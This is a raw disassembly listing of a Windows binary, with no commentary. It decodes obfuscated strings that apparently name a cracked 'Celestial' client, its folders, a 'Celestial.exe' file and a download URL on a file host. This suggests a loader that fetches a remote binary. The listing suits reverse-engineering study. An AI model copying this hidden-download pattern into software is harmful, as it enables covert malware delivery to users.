mov rdi, r13
nop
mov rdx, rdi
lea rcx, [rbp - 0x47]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rbp - 0x48]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x47]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 0x11
jb 0x1400082b0
mov edx, 0x11
lea rcx, [rbp - 0x47]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rbp - 0x47]
call fcn.14000b620
mov rdx, rax
lea rcx, [0x140053670]
call fcn.14000f790
mov rcx, rax
lea rdx, [0x140052d40]
call fcn.140001cd0
mov byte [rsp + 0x58], 0x72
mov dl, 0x20
lea rcx, [rsp + 0x58]
call fcn.14000b4d0
mov byte [rsp + 0x59], al
mov dl, 0x28
lea rcx, [rsp + 0x58]
call fcn.14000b4d0
mov byte [rsp + 0x5a], al
mov dl, 0x55
lea rcx, [rsp + 0x58]
call fcn.14000b4d0
mov byte [rsp + 0x5b], al
mov dl, 0x49
lea rcx, [rsp + 0x58]
call fcn.14000b4d0
mov byte [rsp + 0x5c], al
mov dl, 0x44
lea rcx, [rsp + 0x58]
call fcn.14000b4d0
mov byte [rsp + 0x5d], al
mov dl, 0x3a
lea rcx, [rsp + 0x58]
call fcn.14000b4d0
mov byte [rsp + 0x5e], al
mov dl, 0x20
lea rcx, [rsp + 0x58]
call fcn.14000b4d0
mov byte [rsp + 0x5f], al
xor eax, eax
mov byte [rsp + 0x60], al
mov rdi, r13
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x59]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rsp + 0x58]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x59]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x1400083a0
mov edx, 7
lea rcx, [rsp + 0x59]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rsp + 0x59]
call fcn.14000b620
mov rdx, rax
lea rcx, [0x140053670]
call fcn.14000f790
mov rcx, rax
lea rdx, [0x140052d60]
call fcn.140001cd0
mov rcx, rax
lea rdx, [0x140049fcc]
call fcn.14000f790
lea rdx, [fcn.14000fa40]
mov rcx, rax
call fcn.14000ccb0
mov ecx, 0x15
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rsp + 0x68], 0x6a
mov dl, 0x5c
lea rcx, [rsp + 0x68]
call fcn.14000b4d0
mov byte [rsp + 0x69], al
mov dl, 0x63
lea rcx, [rsp + 0x68]
call fcn.14000b4d0
mov byte [rsp + 0x6a], al
mov dl, 0x6c
lea rcx, [rsp + 0x68]
call fcn.14000b4d0
mov byte [rsp + 0x6b], al
mov dl, 0x69
lea rcx, [rsp + 0x68]
call fcn.14000b4d0
mov byte [rsp + 0x6c], al
mov dl, 0x65
lea rcx, [rsp + 0x68]
call fcn.14000b4d0
mov byte [rsp + 0x6d], al
mov dl, 0x6e
lea rcx, [rsp + 0x68]
call fcn.14000b4d0
mov byte [rsp + 0x6e], al
mov dl, 0x74
lea rcx, [rsp + 0x68]
call fcn.14000b4d0
mov byte [rsp + 0x6f], al
xor eax, eax
mov byte [rsp + 0x70], al
mov rdi, r13
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x69]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rsp + 0x68]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x69]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 7
jb 0x1400084c0
mov edx, 7
lea rcx, [rsp + 0x69]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rsp + 0x69]
call fcn.14000b620
mov rbx, rax
lea rdx, [rbp + 0xcf0]
lea rcx, [rbp + 0x840]
call fcn.140001b10
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xcd0]
call fcn.140010230
nop
lea rcx, [rbp + 0x840]
call fcn.140001a40
mov byte [rbp + 0x38], 0x1c
mov dl, 0x5c
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x39], al
mov dl, 0x43
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x3a], al
mov dl, 0x65
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x3b], al
mov dl, 0x6c
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x3c], al
mov dl, 0x65
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x3d], al
mov dl, 0x73
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x3e], al
mov dl, 0x74
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x3f], al
mov dl, 0x69
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x40], al
mov dl, 0x61
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x41], al
mov dl, 0x6c
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x42], al
mov dl, 0x20
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x43], al
mov dl, 0x28
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x44], al
mov dl, 0x43
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x45], al
mov dl, 0x72
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x46], al
mov dl, 0x61
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x47], al
mov dl, 0x63
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x48], al
mov dl, 0x6b
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x49], al
mov dl, 0x65
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x4a], al
mov dl, 0x64
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x4b], al
mov dl, 0x20
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x4c], al
mov dl, 0x62
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x4d], al
mov dl, 0x79
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x4e], al
mov dl, 0x20
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x4f], al
mov dl, 0x63
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x50], al
mov dl, 0x65
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x51], al
mov dl, 0x6c
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x52], al
mov dl, 0x65
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x53], al
mov dl, 0x73
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x54], al
mov dl, 0x74
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x55], al
mov dl, 0x69
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x56], al
mov dl, 0x61
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x57], al
mov dl, 0x6c
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x58], al
mov dl, 0x2e
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x59], al
mov dl, 0x73
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x5a], al
mov dl, 0x75
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x5b], al
mov dl, 0x29
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
mov byte [rbp + 0x5c], al
xor eax, eax
mov byte [rbp + 0x5d], al
mov rdi, r13
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x39]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rbp + 0x38]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x39]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 0x24
jb 0x140008750
mov edx, 0x24
lea rcx, [rbp + 0x39]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rbp + 0x39]
call fcn.14000b620
mov rbx, rax
lea rdx, [rbp + 0xcd0]
lea rcx, [rbp + 0x860]
call fcn.140001b10
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xcb0]
call fcn.140010230
nop
lea rcx, [rbp + 0x860]
call fcn.140001a40
mov byte [rsp + 0x78], 0x19
mov dl, 0x5c
lea rcx, [rsp + 0x78]
call fcn.14000b4d0
mov byte [rsp + 0x79], al
mov dl, 0x63
lea rcx, [rsp + 0x78]
call fcn.14000b4d0
mov byte [rsp + 0x7a], al
mov dl, 0x6f
lea rcx, [rsp + 0x78]
call fcn.14000b4d0
mov byte [rsp + 0x7b], al
mov dl, 0x6e
lea rcx, [rsp + 0x78]
call fcn.14000b4d0
mov byte [rsp + 0x7c], al
mov dl, 0x66
lea rcx, [rsp + 0x78]
call fcn.14000b4d0
mov byte [rsp + 0x7d], al
mov dl, 0x69
lea rcx, [rsp + 0x78]
call fcn.14000b4d0
mov byte [rsp + 0x7e], al
mov dl, 0x67
lea rcx, [rsp + 0x78]
call fcn.14000b4d0
mov byte [rsp + 0x7f], al
mov dl, 0x73
lea rcx, [rsp + 0x78]
call fcn.14000b4d0
mov byte [rbp - 0x80], al
xor eax, eax
mov byte [rbp - 0x7f], al
mov rdi, r13
nop
mov rdx, rdi
lea rcx, [rsp + 0x79]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rsp + 0x78]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rsp + 0x79]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 8
jb 0x140008860
mov edx, 8
lea rcx, [rsp + 0x79]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rsp + 0x79]
call fcn.14000b620
mov rbx, rax
lea rdx, [rbp + 0xcb0]
lea rcx, [rbp + 0x590]
call fcn.140001b10
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xc50]
call fcn.140010230
nop
lea rcx, [rbp + 0x590]
call fcn.140001a40
lea rdx, [rbp + 0xcd0]
lea rcx, [rbp + 0xbc8]
call fcn.1400048b0
lea rdx, [rbp + 0xcb0]
lea rcx, [rbp + 0xbc8]
call fcn.1400048b0
lea rdx, [rbp + 0xc50]
lea rcx, [rbp + 0xbc8]
call fcn.1400048b0
mov edx, 0x18
lea rcx, [rbp + 0xb88]
call fcn.14000b600
lea rcx, [rsp + 0x50]
call fcn.14000b620
mov qword [rbp + 0x4b8], rax
mov byte [rbp + 0x10], 0x7b
mov dl, 0x68
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x11], al
mov dl, 0x74
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x12], al
mov dl, 0x74
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x13], al
mov dl, 0x70
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x14], al
mov dl, 0x73
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x15], al
mov dl, 0x3a
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x16], al
mov dl, 0x2f
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x17], al
mov dl, 0x2f
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x18], al
mov dl, 0x66
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x19], al
mov dl, 0x69
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x1a], al
mov dl, 0x6c
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x1b], al
mov dl, 0x65
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x1c], al
mov dl, 0x73
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x1d], al
mov dl, 0x2e
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x1e], al
mov dl, 0x63
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x1f], al
mov dl, 0x61
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x20], al
mov dl, 0x74
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x21], al
mov dl, 0x62
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x22], al
mov dl, 0x6f
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x23], al
mov dl, 0x78
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x24], al
mov dl, 0x2e
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x25], al
mov dl, 0x6d
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x26], al
mov dl, 0x6f
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x27], al
mov dl, 0x65
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x28], al
mov dl, 0x2f
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x29], al
mov dl, 0x62
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x2a], al
mov dl, 0x7a
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x2b], al
mov dl, 0x66
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x2c], al
mov dl, 0x64
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x2d], al
mov dl, 0x70
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x2e], al
mov dl, 0x7a
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x2f], al
mov dl, 0x2e
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x30], al
mov dl, 0x62
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x31], al
mov dl, 0x69
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x32], al
mov dl, 0x6e
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
mov byte [rbp + 0x33], al
xor eax, eax
mov byte [rbp + 0x34], al
mov rdi, r13
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x11]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rbp + 0x10]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x11]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 0x23
jb 0x140008b40
mov edx, 0x23
lea rcx, [rbp + 0x11]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rbp + 0x11]
call fcn.14000b620
mov rsi, rax
mov byte [rbp - 0x58], 0x7c
mov dl, 0x5c
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x57], al
mov dl, 0x43
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x56], al
mov dl, 0x65
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x55], al
mov dl, 0x6c
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x54], al
mov dl, 0x65
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x53], al
mov dl, 0x73
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x52], al
mov dl, 0x74
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x51], al
mov dl, 0x69
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x50], al
mov dl, 0x61
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x4f], al
mov dl, 0x6c
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x4e], al
mov dl, 0x2e
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x4d], al
mov dl, 0x65
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x4c], al
mov dl, 0x78
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x4b], al
mov dl, 0x65
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
mov byte [rbp - 0x4a], al
xor eax, eax
mov byte [rbp - 0x49], al
mov rdi, r13
nop
mov rdx, rdi
lea rcx, [rbp - 0x57]
call fcn.14000b630
movzx edx, byte [rax]
lea rcx, [rbp - 0x58]
call fcn.14000b4d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp - 0x57]
call fcn.14000b630
mov byte [rax], bl
inc rdi
cmp rdi, 0xe
jb 0x140008c60
mov rdx, r14
lea rcx, [rbp - 0x57]
call fcn.14000b630
mov byte [rax], 0
lea rcx, [rbp - 0x57]
call fcn.14000b620
mov r8, rax
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x710]
call fcn.1400102a0
mov rbx, rax
mov rdx, rsi
lea rcx, [rbp + 0x880]
call fcn.140001ad0
mov rdx, rbx
lea rcx, [rbp + 0x8a0]
call fcn.140001aa0
nop
movdqa xmm1, xmmword [0x14004a370]
movdqu xmmword [rbp + 0x2b0], xmm1
movdqa xmm2, xmmword [0x14004a300]
movdqu xmmword [rbp + 0x2c0], xmm2
mov dl, 0x3a
mov r8b, 0x70
mov r9b, 0x78
movzx r10d, r9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x2b1], al
xor byte [rbp + 0x2b2], cl
xor byte [rbp + 0x2b3], cl
xor byte [rbp + 0x2b4], cl
xor byte [rbp + 0x2b5], cl
xor byte [rbp + 0x2b6], cl
xor byte [rbp + 0x2b7], cl
xor byte [rbp + 0x2b8], cl
xor byte [rbp + 0x2b9], cl
xor byte [rbp + 0x2ba], cl
xor byte [rbp + 0x2bb], cl
xor byte [rbp + 0x2bc], cl
xor byte [rbp + 0x2bd], cl
xor byte [rbp + 0x2be], cl
xor byte [rbp + 0x2bf], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x2c0], al
xor byte [rbp + 0x2c1], cl
xor byte [rbp + 0x2c2], cl
xor byte [rbp + 0x2c3], cl
xor byte [rbp + 0x2c4], cl
xor byte [rbp + 0x2c5], cl
xor byte [rbp + 0x2c6], cl
xor byte [rbp + 0x2c7], cl
xor byte [rbp + 0x2c8], cl
xor byte [rbp + 0x2c9], cl
xor byte [rbp + 0x2ca], cl
xor byte [rbp + 0x2cb], cl
xor byte [rbp + 0x2cc], cl
xor byte [rbp + 0x2cd], cl
xor byte [rbp + 0x2ce], cl
xor byte [rbp + 0x2cf], cl
xor dl, cl
mov byte [rbp + 0x2d0], dl
xor r8b, cl
mov byte [rbp + 0x2d1], r8b
xor r9b, cl
mov byte [rbp + 0x2d2], r9b
xor r10b, cl
mov byte [rbp + 0x2d3], r10b
mov byte [rbp + 0x2d4], 0
mov byte [rbp + 0x458], 0x3b
mov al, 0x67
mov cl, 0x49
mov dl, 0x43
mov r8b, 0x42
mov r9b, 0x41
mov r10b, 0x15
mov r11b, 0x5f
mov bl, 0x57
movzx edi, bl
xor esi, esi
xor al, 0x3b
mov byte [rbp + 0x459], al
xor cl, 0x3b
mov byte [rbp + 0x45a], cl
xor dl, 0x3b
mov byte [rbp + 0x45b], dl
xor r8b, 0x3b
mov byte [rbp + 0x45c], r8b
xor r9b, 0x3b
mov byte [rbp + 0x45d], r9b
xor r10b, 0x3b
mov byte [rbp + 0x45e], r10b
xor r11b, 0x3b
mov byte [rbp + 0x45f], r11b
xor bl, 0x3b
mov byte [rbp + 0x460], bl
xor dil, 0x3b
mov byte [rbp + 0x461], dil
mov byte [rbp + 0x462], sil
lea r8, [rbp + 0x459]
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x6f0]
call fcn.1400102a0
mov rbx, rax
lea rdx, [rbp + 0x2b1]
lea rcx, [rbp + 0x8c0]
call fcn.140001ad0
mov rdx, rbx
lea rcx, [rbp + 0x8e0]
call fcn.140001aa0
nop
movdqa xmm1, xmmword [0x14004a320]
movdqu xmmword [rbp + 0x288], xmm1
movdqa xmm2, xmmword [0x14004a210]
movdqu xmmword [rbp + 0x298], xmm2
mov dl, 0x22
mov r8b, 0x68
mov r9b, 0x60
movzx r10d, r9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x289], al
xor byte [rbp + 0x28a], cl
xor byte [rbp + 0x28b], cl
xor byte [rbp + 0x28c], cl
xor byte [rbp + 0x28d], cl
xor byte [rbp + 0x28e], cl
xor byte [rbp + 0x28f], cl
xor byte [rbp + 0x290], cl
xor byte [rbp + 0x291], cl
xor byte [rbp + 0x292], cl
xor byte [rbp + 0x293], cl
xor byte [rbp + 0x294], cl
xor byte [rbp + 0x295], cl
xor byte [rbp + 0x296], cl
xor byte [rbp + 0x297], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x298], al
xor byte [rbp + 0x299], cl
xor byte [rbp + 0x29a], cl
xor byte [rbp + 0x29b], cl
xor byte [rbp + 0x29c], cl
xor byte [rbp + 0x29d], cl
xor byte [rbp + 0x29e], cl
xor byte [rbp + 0x29f], cl
xor byte [rbp + 0x2a0], cl
xor byte [rbp + 0x2a1], cl
xor byte [rbp + 0x2a2], cl
xor byte [rbp + 0x2a3], cl
xor byte [rbp + 0x2a4], cl
xor byte [rbp + 0x2a5], cl
xor byte [rbp + 0x2a6], cl
xor byte [rbp + 0x2a7], cl
xor dl, cl
mov byte [rbp + 0x2a8], dl
xor r8b, cl
mov byte [rbp + 0x2a9], r8b
xor r9b, cl
mov byte [rbp + 0x2aa], r9b
xor r10b, cl
mov byte [rbp + 0x2ab], r10b
mov byte [rbp + 0x2ac], sil
mov byte [rbp + 0x4a8], 0x47
mov al, 0x1b
mov cl, 0x32
mov dl, 0x24
mov r8b, 0x35
mov r9b, 0x33
mov r10b, 0x25
mov r11b, 0x26
mov bl, 0x34
mov dil, 0x22
mov sil, 0x69
mov r14b, 0x23
mov r15b, 0x2b
movzx r12d, r15b
xor r13d, r13d
xor al, 0x47
mov byte [rbp + 0x4a9], al
xor cl, 0x47
mov byte [rbp + 0x4aa], cl
xor dl, 0x47
mov byte [rbp + 0x4ab], dl
xor r8b, 0x47
mov byte [rbp + 0x4ac], r8b
xor r9b, 0x47
mov byte [rbp + 0x4ad], r9b
xor r10b, 0x47
mov byte [rbp + 0x4ae], r10b
xor r11b, 0x47
mov byte [rbp + 0x4af], r11b
xor bl, 0x47
mov byte [rbp + 0x4b0], bl
xor dil, 0x47
mov byte [rbp + 0x4b1], dil
xor sil, 0x47
mov byte [rbp + 0x4b2], sil
xor r14b, 0x47
mov byte [rbp + 0x4b3], r14b
xor r15b, 0x47
mov byte [rbp + 0x4b4], r15b
xor r12b, 0x47
mov byte [rbp + 0x4b5], r12b
mov byte [rbp + 0x4b6], r13b
lea r8, [rbp + 0x4a9]
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x6d0]
call fcn.1400102a0
mov rbx, rax
lea rdx, [rbp + 0x289]
lea rcx, [rbp + 0x900]
call fcn.140001ad0
mov rdx, rbx
lea rcx, [rbp + 0x920]
call fcn.140001aa0
nop
movdqa xmm1, xmmword [0x14004a380]
movdqu xmmword [rbp + 0x260], xmm1
movdqa xmm2, xmmword [0x14004a350]
movdqu xmmword [rbp + 0x270], xmm2
mov dl, 0x31
mov r8b, 0x7b
mov r9b, 0x73
movzx r10d, r9b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x261], al
xor byte [rbp + 0x262], cl
xor byte [rbp + 0x263], cl
xor byte [rbp + 0x264], cl
xor byte [rbp + 0x265], cl
xor byte [rbp + 0x266], cl
xor byte [rbp + 0x267], cl
xor byte [rbp + 0x268], cl
xor byte [rbp + 0x269], cl
xor byte [rbp + 0x26a], cl
xor byte [rbp + 0x26b], cl
xor byte [rbp + 0x26c], cl
xor byte [rbp + 0x26d], cl
xor byte [rbp + 0x26e], cl
xor byte [rbp + 0x26f], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x270], al
xor byte [rbp + 0x271], cl
xor byte [rbp + 0x272], cl
xor byte [rbp + 0x273], cl
xor byte [rbp + 0x274], cl
xor byte [rbp + 0x275], cl
xor byte [rbp + 0x276], cl
xor byte [rbp + 0x277], cl
xor byte [rbp + 0x278], cl
xor byte [rbp + 0x279], cl
xor byte [rbp + 0x27a], cl
xor byte [rbp + 0x27b], cl
xor byte [rbp + 0x27c], cl
xor byte [rbp + 0x27d], cl
xor byte [rbp + 0x27e], cl
xor byte [rbp + 0x27f], cl
xor dl, cl
mov byte [rbp + 0x280], dl
xor r8b, cl
mov byte [rbp + 0x281], r8b
xor r9b, cl
mov byte [rbp + 0x282], r9b
xor r10b, cl
mov byte [rbp + 0x283], r10b
mov byte [rbp + 0x284], r13b
mov byte [rbp + 0x438], 0x51
mov al, 0xd
mov cl, 0x3b
mov dl, 0x27
mov r8b, 0x3c
mov r9b, 0x7f
mov r10b, 0x35
mov r11b, 0x3d
movzx ebx, r11b
xor edi, edi
xor al, 0x51
mov byte [rbp + 0x439], al
xor cl, 0x51
mov byte [rbp + 0x43a], cl
xor dl, 0x51
mov byte [rbp + 0x43b], dl
xor r8b, 0x51
mov byte [rbp + 0x43c], r8b
xor r9b, 0x51
mov byte [rbp + 0x43d], r9b
xor r10b, 0x51
mov byte [rbp + 0x43e], r10b
xor r11b, 0x51
mov byte [rbp + 0x43f], r11b
xor bl, 0x51
mov byte [rbp + 0x440], bl
mov byte [rbp + 0x441], dil
lea r8, [rbp + 0x439]
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x6b0]
call fcn.1400102a0
mov rbx, rax
lea rdx, [rbp + 0x261]
lea rcx, [rbp + 0x940]
call fcn.140001ad0
mov rdx, rbx
lea rcx, [rbp + 0x960]
call fcn.140001aa0
nop
movdqa xmm1, xmmword [0x14004a1f0]
movdqu xmmword [rbp + 0x210], xmm1
movdqa xmm2, xmmword [0x14004a2f0]
movdqu xmmword [rbp + 0x220], xmm2
mov dl, 0x7f
mov r8b, 0x3d
mov r9b, 0x38
mov r10b, 0x33
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp + 0x211], al
xor byte [rbp + 0x212], cl
xor byte [rbp + 0x213], cl
xor byte [rbp + 0x214], cl
xor byte [rbp + 0x215], cl
xor byte [rbp + 0x216], cl
xor byte [rbp + 0x217], cl
xor byte [rbp + 0x218], cl
xor byte [rbp + 0x219], cl
xor byte [rbp + 0x21a], cl
xor byte [rbp + 0x21b], cl
xor byte [rbp + 0x21c], cl
xor byte [rbp + 0x21d], cl
xor byte [rbp + 0x21e], cl
xor byte [rbp + 0x21f], cl
movd eax, xmm2
xor al, cl
mov byte [rbp + 0x220], al
xor byte [rbp + 0x221], cl
xor byte [rbp + 0x222], cl
xor byte [rbp + 0x223], cl
xor byte [rbp + 0x224], cl
xor byte [rbp + 0x225], cl
xor byte [rbp + 0x226], cl
xor byte [rbp + 0x227], cl
xor byte [rbp + 0x228], cl
xor byte [rbp + 0x229], cl
xor byte [rbp + 0x22a], cl
xor byte [rbp + 0x22b], cl
xor byte [rbp + 0x22c], cl
xor byte [rbp + 0x22d], cl
xor byte [rbp + 0x22e], cl
xor byte [rbp + 0x22f], cl
xor dl, cl
mov byte [rbp + 0x230], dl
xor r8b, cl
mov byte [rbp + 0x231], r8b
xor r9b, cl
mov byte [rbp + 0x232], r9b
xor r10b, cl
mov byte [rbp + 0x233], r10b
mov byte [rbp + 0x234], dil
mov byte [rbp + 0x428], 0x7c
mov al, 0x20
mov cl, 0x16
mov dl, 0xa
mov r8b, 0x11
mov r9b, 0x52
mov r10b, 0x10
mov r11b, 0x15
mov bl, 0x1e
xor al, 0x7c
mov byte [rbp + 0x429], al
xor cl, 0x7c
mov byte [rbp + 0x42a], cl
xor dl, 0x7c
mov byte [rbp + 0x42b], dl
xor r8b, 0x7c
mov byte [rbp + 0x42c], r8b
xor r9b, 0x7c
mov byte [rbp + 0x42d], r9b
xor r10b, 0x7c
mov byte [rbp + 0x42e], r10b
xor r11b, 0x7c
mov byte [rbp + 0x42f], r11b
xor bl, 0x7c
mov byte [rbp + 0x430], bl
mov byte [rbp + 0x431], dil
lea r8, [rbp + 0x429]
lea rdx, [rbp + 0xba8]
lea rcx, [rbp + 0x690]
call fcn.1400102a0
mov rbx, rax
lea rdx, [rbp + 0x211]
lea rcx, [rbp + 0x980]
call fcn.140001ad0
mov rdx, rbx
lea rcx, [rbp + 0x9a0]
call fcn.140001aa0
nop
movdqa xmm1, xmmword [0x14004a250]
movdqu xmmword [rbp + 0x238], xmm1
